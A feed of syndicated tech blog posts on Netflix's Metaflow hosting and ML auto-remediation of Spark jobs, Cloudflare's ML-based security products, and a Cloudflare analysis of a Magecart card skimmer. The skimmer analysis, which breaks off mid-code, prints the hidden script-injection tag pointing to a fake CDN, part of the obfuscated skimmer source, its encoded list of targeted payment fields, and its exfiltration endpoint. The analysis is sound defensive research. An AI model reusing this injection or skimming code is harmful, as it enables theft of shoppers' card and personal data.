To produce business value, all our Metaflow projects are deployed to work with other production systems. In many cases, the integration might be via shared tables in our data warehouse. In other cases, it is more convenient to share the results via a low-latency API.

Notably, not all API-based deployments require real-time evaluation, which we cover in the section below. We have a number of business-critical applications where some or all predictions can be precomputed, guaranteeing the lowest possible latency and operationally simple high availability at the global scale.

We have developed an officially supported pattern to cover such use cases. While the system relies on our internal caching infrastructure, you could follow the same pattern using services like Amazon ElasticCache or DynamoDB.

Example use case: Content performance visualization

The historical performance of titles is used by decision makers to understand and improve the film and series catalog. Performance metrics can be complex and are often best understood by humans with visualizations that break down the metrics across parameters of interest interactively. Content decision makers are equipped with self-serve visualizations through a real-time web application built with metaflow.Cache, which is accessed through an API provided with metaflow.Hosting.

A daily scheduled Metaflow job computes aggregate quantities of interest in parallel. The job writes a large volume of results to an online key-value store using metaflow.Cache. A Streamlit app houses the visualization software and data aggregation logic. Users can dynamically change parameters of the visualization application and in real-time a message is sent to a simple Metaflow hosting service which looks up values in the cache, performs computation, and returns the results as a JSON blob to the Streamlit application.

Deployment: Metaflow Hosting

For deployments that require an API and real-time evaluation, we provide an integrated model hosting service, Metaflow Hosting. Although details have evolved a lot, this old talk still gives a good overview of the service.

Metaflow Hosting is specifically geared towards hosting artifacts or models produced in Metaflow. This provides an easy to use interface on top of Netflix’s existing microservice infrastructure, allowing data scientists to quickly move their work from experimentation to a production grade web service that can be consumed over a HTTP REST API with minimal overhead.

Its key benefits include:

  • Simple decorator syntax to create RESTFull endpoints.
  • The back-end auto-scales the number of instances used to back your service based on traffic.
  • The back-end will scale-to-zero if no requests are made to it after a specified amount of time thereby saving cost particularly if your service requires GPUs to effectively produce a response.
  • Request logging, alerts, monitoring and tracing hooks to Netflix infrastructure

Consider the service similar to managed model hosting services like AWS Sagemaker Model Hosting, but tightly integrated with our microservice infrastructure.

Example use case: Media

We have a long history of using machine learning to process media assets, for instance, to personalize artwork and to help our creatives create promotional content efficiently. Processing large amounts of media assets is technically non-trivial and computationally expensive, so over the years, we have developed plenty of specialized infrastructure dedicated for this purpose in general, and infrastructure supporting media ML use cases in particular.

To demonstrate the benefits of Metaflow Hosting that provides a general-purpose API layer supporting both synchronous and asynchronous queries, consider this use case involving Amber, our feature store for media.

While Amber is a feature store, precomputing and storing all media features in advance would be infeasible. Instead, we compute and cache features in an on-demand basis, as depicted below:

When a service requests a feature from Amber, it computes the feature dependency graph and then sends one or more asynchronous requests to Metaflow Hosting, which places the requests in a queue, eventually triggering feature computations when compute resources become available. Metaflow Hosting caches the response, so Amber can fetch it after a while. We could have built a dedicated microservice just for this use case, but thanks to the flexibility of Metaflow Hosting, we were able to ship the feature faster with no additional operational burden.

Future Work

Our appetite to apply ML in diverse use cases is only increasing, so our Metaflow platform will keep expanding its footprint correspondingly and continue to provide delightful integrations to systems built by other teams at Netlfix. For instance, we have plans to work on improvements in the versioning layer, which wasn’t covered by this article, by giving more options for artifact and model management.

We also plan on building more integrations with other systems that are being developed by sister teams at Netflix. As an example, Metaflow Hosting models are currently not well integrated into model logging facilities — we plan on working on improving this to make models developed with Metaflow more integrated with the feedback loop critical in training new models. We hope to do this in a pluggable manner that would allow other users to integrate with their own logging systems.

Additionally we want to supply more ways Metaflow artifacts and models can be integrated into non-Metaflow environments and applications, e.g. JVM based edge service, so that Python-based data scientists can contribute to non-Python engineering systems easily. This would allow us to better bridge the gap between the quick iteration that Metaflow provides (in Python) with the requirements and constraints imposed by the infrastructure serving Netflix member facing requests.

If you are building business-critical ML or AI systems in your organization, join the Metaflow Slack community! We are happy to share experiences, answer any questions, and welcome you to contribute to Metaflow.

Acknowledgements:

Thanks to Wenbing Bai, Jan Florjanczyk, Michael Li, Aliki Mavromoustaki, and Sejal Rai for help with use cases and figures. Thanks to our OSS contributors for making Metaflow a better product.


Supporting Diverse ML Systems at Netflix was originally published in Netflix TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Evolving from Rule-based Classifier: Machine Learning Powered Auto Remediation in Netflix Data…

Post Syndicated from Netflix Technology Blog original https://netflixtechblog.com/evolving-from-rule-based-classifier-machine-learning-powered-auto-remediation-in-netflix-data-039d5efd115b

Evolving from Rule-based Classifier: Machine Learning Powered Auto Remediation in Netflix Data Platform

by Binbing Hou, Stephanie Vezich Tamayo, Xiao Chen, Liang Tian, Troy Ristow, Haoyuan Wang, Snehal Chennuru, Pawan Dixit

This is the first of the series of our work at Netflix on leveraging data insights and Machine Learning (ML) to improve the operational automation around the performance and cost efficiency of big data jobs. Operational automation–including but not limited to, auto diagnosis, auto remediation, auto configuration, auto tuning, auto scaling, auto debugging, and auto testing–is key to the success of modern data platforms. In this blog post, we present our project on Auto Remediation, which integrates the currently used rule-based classifier with an ML service and aims to automatically remediate failed jobs without human intervention. We have deployed Auto Remediation in production for handling memory configuration errors and unclassified errors of Spark jobs and observed its efficiency and effectiveness (e.g., automatically remediating 56% of memory configuration errors and saving 50% of the monetary costs caused by all errors) and great potential for further improvements.

Introduction

At Netflix, hundreds of thousands of workflows and millions of jobs are running per day across multiple layers of the big data platform. Given the extensive scope and intricate complexity inherent to such a distributed, large-scale system, even if the failed jobs account for a tiny portion of the total workload, diagnosing and remediating job failures can cause considerable operational burdens.

For efficient error handling, Netflix developed an error classification service, called Pensive, which leverages a rule-based classifier for error classification. The rule-based classifier classifies job errors based on a set of predefined rules and provides insights for schedulers to decide whether to retry the job and for engineers to diagnose and remediate the job failure.

However, as the system has increased in scale and complexity, the rule-based classifier has been facing challenges due to its limited support for operational automation, especially for handling memory configuration errors and unclassified errors. Therefore, the operational cost increases linearly with the number of failed jobs. In some cases–for example, diagnosing and remediating job failures caused by Out-Of-Memory (OOM) errors–joint effort across teams is required, involving not only the users themselves, but also the support engineers and domain experts.

To address these challenges, we have developed a new feature, called Auto Remediation, which integrates the rule-based classifier with an ML service. Based on the classification from the rule-based classifier, it uses an ML service to predict retry success probability and retry cost and selects the best candidate configuration as recommendations; and a configuration service to automatically apply the recommendations. Its major advantages are below:

  • Integrated intelligence. Instead of completely deprecating the current rule-based classifier, Auto Remediation integrates the classifier with an ML service so that it can leverage the merits of both: the rule-based classifier provides static, deterministic classification results per error class, which is based on the context of domain experts; the ML service provides performance- and cost-aware recommendations per job, which leverages the power of ML. With the integrated intelligence, we can properly meet the requirements of remediating different errors.
  • Fully automated. The pipeline of classifying errors, getting recommendations, and applying recommendations is fully automated. It provides the recommendations together with the retry decision to the scheduler, and particularly uses an online configuration service to store and apply recommended configurations. In this way, no human intervention is required in the remediation process.
  • Multi-objective optimizations. Auto Remediation generates recommendations by considering both performance (i.e., the retry success probability) and compute cost efficiency (i.e., the monetary costs of running the job) to avoid blindly recommending configurations with excessive resource consumption. For example, for memory configuration errors, it searches multiple parameters related to the memory usage of job execution and recommends the combination that minimizes a linear combination of failure probability and compute cost.

These advantages have been verified by the production deployment for remediating Spark jobs’ failures. Our observations indicate that Auto Remediation can successfully remediate about 56% of all memory configuration errors by applying the recommended memory configurations online without human intervention; and meanwhile reduce the cost of about 50% due to its ability to recommend new configurations to make memory configurations successful and disable unnecessary retries for unclassified errors. We have also noted a great potential for further improvement by model tuning (see the section of Rollout in Production).

Rule-based Classifier: Basics and Challenges

Basics

Figure 1 illustrates the error classification service, i.e., Pensive, in the data platform. It leverages the rule-based classifier and is composed of three components:

  • Log Collector is responsible for pulling logs from different platform layers for error classification (e.g., the scheduler, job orchestrator, and compute clusters).
  • Rule Execution Engine is responsible for matching the collected logs against a set of predefined rules. A rule includes (1) the name, source, log, and summary, of the error and whether the error is restartable; and (2) the regex to identify the error from the log. For example, the rule with the name SparkDriverOOM includes the information indicating that if the stdout log of a Spark job can match the regex SparkOutOfMemoryError:, then this error is classified to be a user error, not restartable.
  • Result Finalizer is responsible for finalizing the error classification result based on the matched rules. If one or multiple rules are matched, then the classification of the first matched rule determines the final classification result (the rule priority is determined by the rule ordering, and the first rule has the highest priority). On the other hand, if no rules are matched, then this error will be considered unclassified.

Challenges

While the rule-based classifier is simple and has been effective, it is facing challenges due to its limited ability to handle the errors caused by misconfigurations and classify new errors:

  • Memory configuration errors. The rules-based classifier provides error classification results indicating whether to restart the job; however, for non-transient errors, it still relies on engineers to manually remediate the job. The most notable example is memory configuration errors. Such errors are generally caused by the misconfiguration of job memory. Setting an excessively small memory can result in Out-Of-Memory (OOM) errors while setting an excessively large memory can waste cluster memory resources. What’s more challenging is that some memory configuration errors require changing the configurations of multiple parameters. Thus, setting a proper memory configuration requires not only the manual operation but also the expertise of Spark job execution. In addition, even if a job’s memory configuration is initially well tuned, changes such as data size and job definition can cause performance to degrade. Given that about 600 memory configuration errors per month are observed in the data platform, timely remediation of memory configuration errors alone requires non-trivial engineering efforts.
  • Unclassified errors. The rule-based classifier relies on data platform engineers to manually add rules for recognizing errors based on the known context; otherwise, the errors will be unclassified. Due to the migrations of different layers of the data platform and the diversity of applications, existing rules can be invalid, and adding new rules requires engineering efforts and also depends on the deployment cycle. More than 300 rules have been added to the classifier, yet about 50% of all failures remain unclassified. For unclassified errors, the job may be retried multiple times with the default retry policy. If the error is non-transient, these failed retries incur unnecessary job running costs.

Evolving to Auto Remediation: Service Architecture

Methodology

To address the above-mentioned challenges, our basic methodology is to integrate the rule-based classifier with an ML service to generate recommendations, and use a configuration service to apply the recommendations automatically:

  • Generating recommendations. We use the rule-based classifier as the first pass to classify all errors based on predefined rules, and the ML service as the second pass to provide recommendations for memory configuration errors and unclassified errors.
  • Applying recommendations. We use an online configuration service to store and apply the recommended configurations. The pipeline is fully automated, and the services used to generate and apply recommendations are decoupled.

Service Integrations

Figure 2 illustrates the integration of the services generating and applying the recommendations in the data platform. The major services are as follows:

  • Nightingale is a service running the ML model trained using Metaflow and is responsible for generating a retry recommendation. The recommendation includes (1) whether the error is restartable; and (2) if so, the recommended configurations to restart the job.
  • ConfigService is an online configuration service. The recommended configurations are saved in ConfigService as a JSON patch with a scope defined to specify the jobs that can use the recommended configurations. When Scheduler calls ConfigService to get recommended configurations, Scheduler passes the original configurations to ConfigService and ConfigService returns the mutated configurations by applying the JSON patch to the original configurations. Scheduler can then restart the job with the mutated configurations (including the recommended configurations).
  • Pensive is an error classification service that leverages the rule-based classifier. It calls Nightingale to get recommendations and stores the recommendations to ConfigService so that it can be picked up by Scheduler to restart the job.
  • Scheduler is the service scheduling jobs (our current implementation is with Netflix Maestro). Each time when a job fails, it calls Pensive to get the error classification to decide whether to restart a job and calls ConfigServices to get the recommended configurations for restarting the job.

Figure 3 illustrates the sequence of service calls with Auto Remediation:

  1. Upon a job failure, Scheduler calls Pensive to get the error classification.
  2. Pensive classifies the error based on the rule-based classifier. If the error is identified to be a memory configuration error or an unclassified error, it calls Nightingale to get recommendations.
  3. With the obtained recommendations, Pensive updates the error classification result and saves the recommended configurations to ConfigService; and then returns the error classification result to Scheduler.
  4. Based on the error classification result received from Pensive, Scheduler determines whether to restart the job.
  5. Before restarting the job, Scheduler calls ConfigService to get the recommended configuration and retries the job with the new configuration.

Evolving to Auto Remediation: ML Service

Overview

The ML service, i.e., Nightingale, aims to generate a retry policy for a failed job that trades off between retry success probability and job running costs. It consists of two major components:

  • A prediction model that jointly estimates a) probability of retry success, and b) retry cost in dollars, conditional on properties of the retry.
  • An optimizer which explores the Spark configuration parameter space to recommend a configuration which minimizes a linear combination of retry failure probability and cost.

The prediction model is retrained offline daily, and is called by the optimizer to evaluate each candidate set of configuration parameter values. The optimizer runs in a RESTful service which is called upon job failure. If there is a feasible configuration solution from the optimization, the response includes this recommendation, which ConfigService uses to mutate the configuration for the retry. If there is no feasible solution–in other words, it is unlikely the retry will succeed by changing Spark configuration parameters alone–the response includes a flag to disable retries and thus eliminate wasted compute cost.

Prediction Model

Given that we want to explore how retry success and retry cost might change under different configuration scenarios, we need some way to predict these two values using the information we have about the job. Data Platform logs both retry success outcome and execution cost, giving us reliable labels to work with. Since we use a shared feature set to predict both targets, have good labels, and need to run inference quickly online to meet SLOs, we decided to formulate the problem as a multi-output supervised learning task. In particular, we use a simple Feedforward Multilayer Perceptron (MLP) with two heads, one to predict each outcome.

Training: Each record in the training set represents a potential retry which previously failed due to memory configuration errors or unclassified errors. The labels are: a) did retry fail, b) retry cost. The raw feature inputs are largely unstructured metadata about the job such as the Spark execution plan, the user who ran it, and the Spark configuration parameters and other job properties. We split these features into those that can be parsed into numeric values (e.g., Spark executor memory parameter) and those that cannot (e.g., user name). We used feature hashing to process the non-numeric values because they come from a high cardinality and dynamic set of values. We then create a lower dimensionality embedding which is concatenated with the normalized numeric values and passed through several more layers.

Inference: Upon passing validation audits, each new model version is stored in Metaflow Hosting, a service provided by our internal ML Platform. The optimizer makes several calls to the model prediction function for each incoming configuration recommendation request, described in more detail below.

Optimizer

When a job attempt fails, it sends a request to Nightingale with a job identifier. From this identifier, the service constructs the feature vector to be used in inference calls. As described previously, some of these features are Spark configuration parameters which are candidates to be mutated (e.g., spark.executor.memory, spark.executor.cores). The set of Spark configuration parameters was based on distilled knowledge of domain experts who work on Spark performance tuning extensively. We use Bayesian Optimization (implemented via Meta’s Ax library) to explore the configuration space and generate a recommendation. At each iteration, the optimizer generates a candidate parameter value combination (e.g., spark.executor.memory=7192 mb, spark.executor.cores=8), then evaluates that candidate by calling the prediction model to estimate retry failure probability and cost using the candidate configuration (i.e., mutating their values in the feature vector). After a fixed number of iterations is exhausted, the optimizer returns the “best” configuration solution (i.e., that which minimized the combined retry failure and cost objective) for ConfigService to use if it is feasible. If no feasible solution is found, we disable retries.

One downside of the iterative design of the optimizer is that any bottleneck can block completion and cause a timeout, which we initially observed in a non-trivial number of cases. Upon further profiling, we found that most of the latency came from the candidate generated step (i.e., figuring out which directions to step in the configuration space after the previous iteration’s evaluation results). We found that this issue had been raised to Ax library owners, who added GPU acceleration options in their API. Leveraging this option decreased our timeout rate substantially.

Rollout in Production

We have deployed Auto Remediation in production to handle memory configuration errors and unclassified errors for Spark jobs. Besides the retry success probability and cost efficiency, the impact on user experience is the major concern:

  • For memory configuration errors: Auto remediation improves user experience because the job retry is rarely successful without a new configuration for memory configuration errors. This means that a successful retry with the recommended configurations can reduce the operational loads and save job running costs, while a failed retry does not make the user experience worse.
  • For unclassified errors: Auto remediation recommends whether to restart the job if the error cannot be classified by existing rules in the rule-based classifier. In particular, if the ML model predicts that the retry is very likely to fail, it will recommend disabling the retry, which can save the job running costs for unnecessary retries. For cases in which the job is business-critical and the user prefers always retrying the job even if the retry success probability is low, we can add a new rule to the rule-based classifier so that the same error will be classified by the rule-based classifier next time, skipping the recommendations of the ML service. This presents the advantages of the integrated intelligence of the rule-based classifier and the ML service.

The deployment in production has demonstrated that Auto Remediation can provide effective configurations for memory configuration errors, successfully remediating about 56% of all memory configuration without human intervention. It also decreases compute cost of these jobs by about 50% because it can either recommend new configurations to make the retry successful or disable unnecessary retries. As tradeoffs between performance and cost efficiency are tunable, we can decide to achieve a higher success rate or more cost savings by tuning the ML service.

It is worth noting that the ML service is currently adopting a conservative policy to disable retries. As discussed above, this is to avoid the impact on the cases that users prefer always retrying the job upon job failures. Although these cases are expected and can be addressed by adding new rules to the rule-based classifier, we consider tuning the objective function in an incremental manner to gradually disable more retries is helpful to provide desirable user experience. Given the current policy to disable retries is conservative, Auto Remediation presents a great potential to eventually bring much more cost savings without affecting the user experience.

Beyond Error Handling: Towards Right Sizing

Auto Remediation is our first step in leveraging data insights and Machine Learning (ML) for improving user experience, reducing the operational burden, and improving cost efficiency of the data platform. It focuses on automating the remediation of failed jobs, but also paves the path to automate operations other than error handling.

One of the initiatives we are taking, called Right Sizing, is to reconfigure scheduled big data jobs to request the proper resources for job execution. For example, we have noted that the average requested executor memory of Spark jobs is about four times their max used memory, indicating a significant overprovision. In addition to the configurations of the job itself, the resource overprovision of the container that is requested to execute the job can also be reduced for cost savings. With heuristic- and ML-based methods, we can infer the proper configurations of job execution to minimize resource overprovisions and save millions of dollars per year without affecting the performance. Similar to Auto Remediation, these configurations can be automatically applied via ConfigService without human intervention. Right Sizing is in progress and will be covered with more details in a dedicated technical blog post later. Stay tuned.

Acknowledgements

Auto Remediation is a joint work of the engineers from different teams and organizations. This work would have not been possible without the solid, in-depth collaborations. We would like to appreciate all folks, including Spark experts, data scientists, ML engineers, the scheduler and job orchestrator engineers, data engineers, and support engineers, for sharing the context and providing constructive suggestions and valuable feedback (e.g., John Zhuge, Jun He, Holden Karau, Samarth Jain, Julian Jaffe, Batul Shajapurwala, Michael Sachs, Faisal Siddiqi).


Evolving from Rule-based Classifier: Machine Learning Powered Auto Remediation in Netflix Data… was originally published in Netflix TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Defensive AI: Cloudflare’s framework for defending against next-gen threats

Post Syndicated from Daniele Molteni original https://blog.cloudflare.com/defensive-ai


Generative AI has captured the imagination of the world by being able to produce poetry, screenplays, or imagery. These tools can be used to improve human productivity for good causes, but they can also be employed by malicious actors to carry out sophisticated attacks.

We are witnessing phishing attacks and social engineering becoming more sophisticated as attackers tap into powerful new tools to generate credible content or interact with humans as if it was a real person. Attackers can use AI to build boutique tooling made for attacking specific sites with the intent of harvesting proprietary data and taking over user accounts.

To protect against these new challenges, we need new and more sophisticated security tools: this is how Defensive AI was born. Defensive AI is the framework Cloudflare uses when thinking about how intelligent systems can improve the effectiveness of our security solutions. The key to Defensive AI is data generated by Cloudflare’s vast network, whether generally across our entire network or specific to individual customer traffic.

At Cloudflare, we use AI to increase the level of protection across all security areas, ranging from application security to email security and our Zero Trust platform. This includes creating customized protection for every customer for API or email security, or using our huge amount of attack data to train models to detect application attacks that haven’t been discovered yet.

In the following sections, we will provide examples of how we designed the latest generation of security products that leverage AI to secure against AI-powered attacks.

Protecting APIs with anomaly detection

APIs power the modern Web, comprising 57% of dynamic traffic across the Cloudflare network, up from 52% in 2021. While APIs aren’t a new technology, securing them differs from securing a traditional web application. Because APIs offer easy programmatic access by design and are growing in popularity, fraudsters and threat actors have pivoted to targeting APIs. Security teams must now counter this rising threat. Importantly, each API is usually unique in its purpose and usage, and therefore securing APIs can take an inordinate amount of time.

Cloudflare is announcing the development of API Anomaly Detection for API Gateway to protect APIs from attacks designed to damage applications, take over accounts, or exfiltrate data. API Gateway provides a layer of protection between your hosted APIs and every device that interfaces with them, giving you the visibility, control, and security tools you need to manage your APIs.

API Anomaly Detection is an upcoming, ML-powered feature in our API Gateway product suite and a natural successor to Sequence Analytics. In order to protect APIs at scale, API Anomaly Detection learns an application’s business logic by analyzing client API request sequences. It then builds a model of what a sequence of expected requests looks like for that application. The resulting traffic model is used to identify attacks that deviate from the expected client behavior. As a result, API Gateway can use its Sequence Mitigation functionality to enforce the learned model of the application’s intended business logic, stopping attacks.

While we’re still developing API Anomaly Detection, API Gateway customers can sign up here to be included in the beta for API Anomaly Detection. Today, customers can get started with Sequence Analytics and Sequence Mitigation by reviewing the docs. Enterprise customers that haven’t purchased API Gateway can self-start a trial in the Cloudflare Dashboard, or contact their account manager for more information.

Identifying unknown application vulnerabilities

Another area where AI improves security is in our Web Application Firewall (WAF). Cloudflare processes 55 million HTTP requests per second on average and has an unparalleled visibility into attacks and exploits across the world targeting a wide range of applications.

One of the big challenges with the WAF is adding protections for new vulnerabilities and false positives. A WAF is a collection of rules designed to identify attacks directed at web applications. New vulnerabilities are discovered daily and at Cloudflare we have a team of security analysts that create new rules when vulnerabilities are discovered. However, manually creating rules takes time — usually hours — leaving applications potentially vulnerable until a protection is in place. The other problem is that attackers continuously evolve and mutate existing attack payloads that can potentially bypass existing rules.

This is why Cloudflare has, for years, leveraged machine learning models that constantly learn from the latest attacks, deploying mitigations without the need for manual rule creation. This can be seen, for example, in our WAF Attack Score solution. WAF Attack Score is based on an ML model trained on attack traffic identified on the Cloudflare network. The resulting classifier allows us to identify variations and bypasses of existing attacks as well as extending the protection to new and undiscovered attacks. Recently, we have made Attack Score available to all Enterprise and Business plans.

Attack Score uses AI to classify each HTTP request based on the likelihood that it’s malicious

While the contribution of security analysts is indispensable, in the era of AI and rapidly evolving attack payloads, a robust security posture demands solutions that do not rely on human operators to write rules for each novel threat. Combining Attack Score with traditional signature-based rules is an example of how intelligent systems can support tasks carried out by humans. Attack Score identifies new malicious payloads which can be used by analysts to optimize rules that, in turn, provide better training data for our AI models. This creates a reinforcing positive feedback loop improving the overall protection and response time of our WAF.

Long term, we will adapt the AI model to account for customer-specific traffic characteristics to better identify deviations from normal and benign traffic.

Using AI to fight phishing

Email is one of the most effective vectors leveraged by bad actors with the US Cybersecurity and Infrastructure Security Agency (CISA) reporting that 90% of cyber attacks start with phishing and Cloudflare Email Security marking 2.6% of 2023’s emails as malicious. The rise of AI-enhanced attacks are making traditional email security providers obsolete, as threat actors can now craft phishing emails that are more credible than ever with little to no language errors.

Cloudflare Email Security is a cloud-native service that stops phishing attacks across all threat vectors. Cloudflare’s email security product continues to protect customers with its AI models, even as trends like Generative AI continue to evolve. Cloudflare’s models analyze all parts of a phishing attack to determine the risk posed to the end user. Some of our AI models are personalized for each customer while others are trained holistically. Privacy is paramount at Cloudflare, so only non-personally identifiable information is used by our tools for training. In 2023, Cloudflare processed approximately 13 billion, and blocked 3.4 billion, emails, providing the email security product a rich dataset that can be used to train AI models.

Two detections that are part of our portfolio are Honeycomb and Labyrinth.

  • Honeycomb is a patented email sender domain reputation model. This service builds a graph of who is sending messages and builds a model to determine risk. Models are trained on specific customer traffic patterns, so every customer has AI models trained on what their good traffic looks like.
  • Labyrinth uses ML to protect on a per-customer basis. Actors attempt to spoof emails from our clients’ valid partner companies.  We can gather a list with statistics of known & good email senders for each of our clients. We can then detect the spoof attempts when the email is sent by someone from an unverified domain, but the domain mentioned in the email itself is a reference/verified domain.

AI remains at the core of our email security product, and we are constantly improving the ways we leverage it within our product. If you want to get more information about how we are using our AI models to stop AI enhanced phishing attacks check out our blog post here.

Zero-Trust security protected and powered by AI

Cloudflare Zero Trust provides administrators the tools to protect access to their IT infrastructure by enforcing strict identity verification for every person and device regardless of whether they are sitting within or outside the network perimeter.

One of the big challenges is to enforce strict access control while reducing the friction introduced by frequent verifications. Existing solutions also put pressure on IT teams that need to analyze log data to track how risk is evolving within their infrastructure. Sifting through a huge amount of data to find rare attacks requires large teams and substantial budgets.

Cloudflare simplifies this process by introducing behavior-based user risk scoring. Leveraging AI, we analyze real-time data to identify anomalies in the users’ behavior and signals that could lead to harms to the organization. This provides administrators with recommendations on how to tailor the security posture based on user behavior.

Zero Trust user risk scoring detects user activity and behaviors that could introduce risk to your organizations, systems, and data and assigns a score of Low, Medium, or High to the user involved. This approach is sometimes referred to as user and entity behavior analytics (UEBA) and enables teams to detect and remediate possible account compromise, company policy violations, and other risky activity.

The first contextual behavior we are launching is “impossible travel”, which helps identify if a user’s credentials are being used in two locations that the user could not have traveled to in that period of time. These risk scores can be further extended in the future to highlight personalized behavior risks based on contextual information such as time of day usage patterns and access patterns to flag any anomalous behavior. Since all traffic would be proxying through your SWG, this can also be extended to resources which are being accessed, like an internal company repo.

We have an exciting launch during security week. Check out this blog to learn more.

Conclusion

From application and email security to network security and Zero Trust, we are witnessing attackers leveraging new technologies to be more effective in achieving their goals. In the last few years, multiple Cloudflare product and engineering teams have adopted intelligent systems to better identify abuses and increase protection.

Besides the generative AI craze, AI is already a crucial part of how we defend digital assets against attacks and how we discourage bad actors.

Navigating the maze of Magecart: a cautionary tale of a Magecart impacted website

Post Syndicated from Himanshu Anand original https://blog.cloudflare.com/navigating-the-maze-of-magecart


The Cloudflare security research team reviews and evaluates scripts flagged by Cloudflare Page Shield, focusing particularly on those with low scores according to our machine learning (ML) model, as low scores indicate the model thinks they are malicious. It was during one of these routine reviews that we stumbled upon a peculiar script on a customer’s website, one that was being fetched from a zone unfamiliar to us, a new and uncharted territory in our digital map.

This script was not only obfuscated but exhibited some suspicious behavior, setting off alarm bells within our team. Its complexity and the mysterious nature piqued our curiosity, and we decided to delve deeper, to unravel the enigma of what this script was truly up to.

In our quest to decipher the script’s purpose, we geared up to dissect its layers, determined to shed light on its hidden intentions and understand the full scope of its actions.

The Infection Mechanism: A seemingly harmless HTML div element housed a piece of JavaScript, a trojan horse lying in wait.

<div style="display: none; visibility: hidden;">
<script src="//cdn.jsdelivr.at/js/sidebar.min.js"></script>
</div>
The script was the conduit for the malicious activities

The devil in the details

The script hosted at the aforementioned domain was a piece of obfuscated JavaScript, a common tactic used by attackers to hide their malicious intent from casual observation. The obfuscated code can be examined in detail through the snapshot provided by Cloudflare Radar URL Scanner.

Obfuscated script snippet:

function _0x5383(_0x411252,_0x2f6ba1){var _0x1d211f=_0x1d21();return _0x5383=function(_0x5383da,_0x5719da){_0x5383da=_0x5383da-0x101;var _0x3d97e9=_0x1d211f[_0x5383da];return _0x3d97e9;},_0x5383(_0x411252,_0x2f6ba1);}var _0x11e3ed=_0x5383;(function(_0x3920b4,_0x32875c){var _0x3147a9=_0x5383,_0x5c373e=_0x3920b4();while(!![]){try{var _0x5e0fb6=-parseInt(_0x3147a9(0x13e))/0x1*(parseInt(_0x3147a9(0x151))/0x2)+parseInt(_0x3147a9(0x168))/0x3*(parseInt(_0x3147a9(0x136))/0x4)+parseInt(_0x3147a9(0x15d))/0x5*(parseInt(_0x3147a9(0x152))/0x6)+-parseInt(_0x3147a9(0x169))/0x7*(-parseInt(_0x3147a9(0x142))/0x8)+parseInt(_0x3147a9(0x143))/0x9+-parseInt(_0x3147a9(0x14b))/0xa+-parseInt(_0x3147a9(0x150))/0xb;if(_0x5e0fb6===_0x32875c)break;else _0x5c373e['push'](_0x5c373e['shift']());}catch(_0x1f0719){_0x5c373e['push'](_0x5c373e['shift']());}}}(_0x1d21,0xbc05c));function _0x1d21(){var _0x443323=['3439548foOmOf',
.....

The primary objective of this script was to steal Personally Identifiable Information (PII), including credit card details. The stolen data was then transmitted to a server controlled by the attackers, located at https://jsdelivr[.]at/f[.]php.

Decoding the malicious domain

Before diving deeper into the exact behaviors of a script, examining the hosted domain and its insights could already reveal valuable arguments for overall evaluation. Regarding the hosted domain cdn.jsdelivr.at used in this script:

  • It was registered on 2022-04-14.
  • It impersonates the well-known hosting service jsDelivr, which is hosted at cdn.jsdelivr.net.
  • It was registered by 1337team Limited, a company known for providing bulletproof hosting services. These services are frequently utilized in various cybercrime campaigns due to their resilience against law enforcement actions and their ability to host illicit activities without interruption.
  • Previous mentions of this hosting provider, such as in a tweet by @malwrhunterteam, highlight its involvement in cybercrime activities. This further emphasizes the reputation of 1337team Limited in the cybercriminal community and its role in facilitating malicious campaigns.

Decoding the malicious script

Data Encoding and Decoding Functions: The script uses two functions, wvnso.jzzys and wvnso.cvdqe, for encoding and decoding data. They employ Base64 and URL encoding techniques, common methods in malware to conceal the real nature of the data being sent.

var wvnso = {
  "jzzys": function (_0x5f38f3) {
    return btoa(encodeURIComponent(_0x5f38f3).replace(/%([0-9A-F]{2})/g, function (_0x7e416, _0x1cf8ee) {
      return String.fromCharCode('0x' + _0x1cf8ee);
    }));
  },
  "cvdqe": function (_0x4fdcee) {
    return decodeURIComponent(Array.prototype.map.call(atob(_0x4fdcee), function (_0x273fb1) {
      return '%' + ('00' + _0x273fb1.charCodeAt(0x0).toString(0x10)).slice(-0x2);
    }).join(''));
  }

Targeted Data Fields: The script is designed to identify and monitor specific input fields on the website. These fields include sensitive information like credit card numbers, names, email addresses, and other personal details. The wvnso.cwwez function maps these fields, showing that the attackers had carefully studied the website’s layout.

"cwwez": window.JSON.parse(wvnso.cvdqe("W1siZmllbGQiLCAiaWZyYW1lIiwgMCwgIm4iLCAiTnVtYmVyIl0sIFsibmFtZSIsICJmaXJzdG5hbWUiLCAwLCAiZiIsICJIb2xkZXIiXSwgWyJuYW1lIiwgImxhc3RuYW1lIiwgMCwgImwiLCAiSG9sZGVyIl0sIFsiZmllbGQiLCAiaWZyYW1lIiwgMCwgImUiLCAiRGF0ZSJdLCBbImZpZWxkIiwgImlmcmFtZSIsIDAsICJjIiwgIkNWViJdLCBbImlkIiwgImN1c3RvbWVyLWVtYWlsIiwgMCwgImVsIiwgImVtYWlsIl0sIFsibmFtZSIsICJ0ZWxlcGhvbmUiLCAwLCAicGUiLCAicGhvbmUiXSwgWyJuYW1lIiwgImNpdHkiLCAwLCAiY3kiLCAiY2l0eSJdLCBbIm5hbWUiLCAicmVnaW9uX2lkIiwgMywgInNlIiwgInN0YXRlIl0sIFsibmFtZSIsICJyZWdpb24iLCAwLCAic2UiLCAic3RhdGUiXSwgWyJuYW1lIiwgImNvdW50cnlfaWQiLCAwLCAiY3QiLCAiQ291bnRyeSJdLCBbIm5hbWUiLCAicG9zdGNvZGUiLCAwLCAienAiLCAiWmlwIl0sIFsiaWQiLCAiY3VzdG9tZXItcGFzc3dvcmQiLCAwLCAicGQiLCAicGFzc3dvcmQiXSwgWyJuYW1lIiwgWyJzdHJlZXRbMF0iLCAic3RyZWV0WzFdIiwgInN0cmVldFsyXSJdLCAwLCAiYXMiLCAiYWRkciJdXQ==")),

Data Harvesting Logic: The script uses a set of complex functions ( wvnso.uvesz,  wvnso.wsrmf, etc.) to check each targeted field for user input. When it finds the data it wants (like credit card details), it collects (“harvests”) this data and gets it ready to be sent out (“exfiltrated”).

"uvesz": function (_0x52b255) {
    for (var _0x356fbe = 0x0; _0x356fbe < wvnso.cwwez.length; _0x356fbe++) {
      var _0x25348a = wvnso.cwwez[_0x356fbe];
      if (_0x52b255.hasAttribute(_0x25348a[0x0])) {
        if (typeof _0x25348a[0x1] == "object") {
          var _0xca9068 = '';
          _0x25348a[0x1].forEach(function (_0x450919) {
            var _0x907175 = document.querySelector('[' + _0x25348a[0x0] + "=\"" + _0x450919 + "\"" + ']');
            if (_0x907175 != null && wvnso.wsrmf(_0x907175, _0x25348a[0x2]).length > 0x0) {
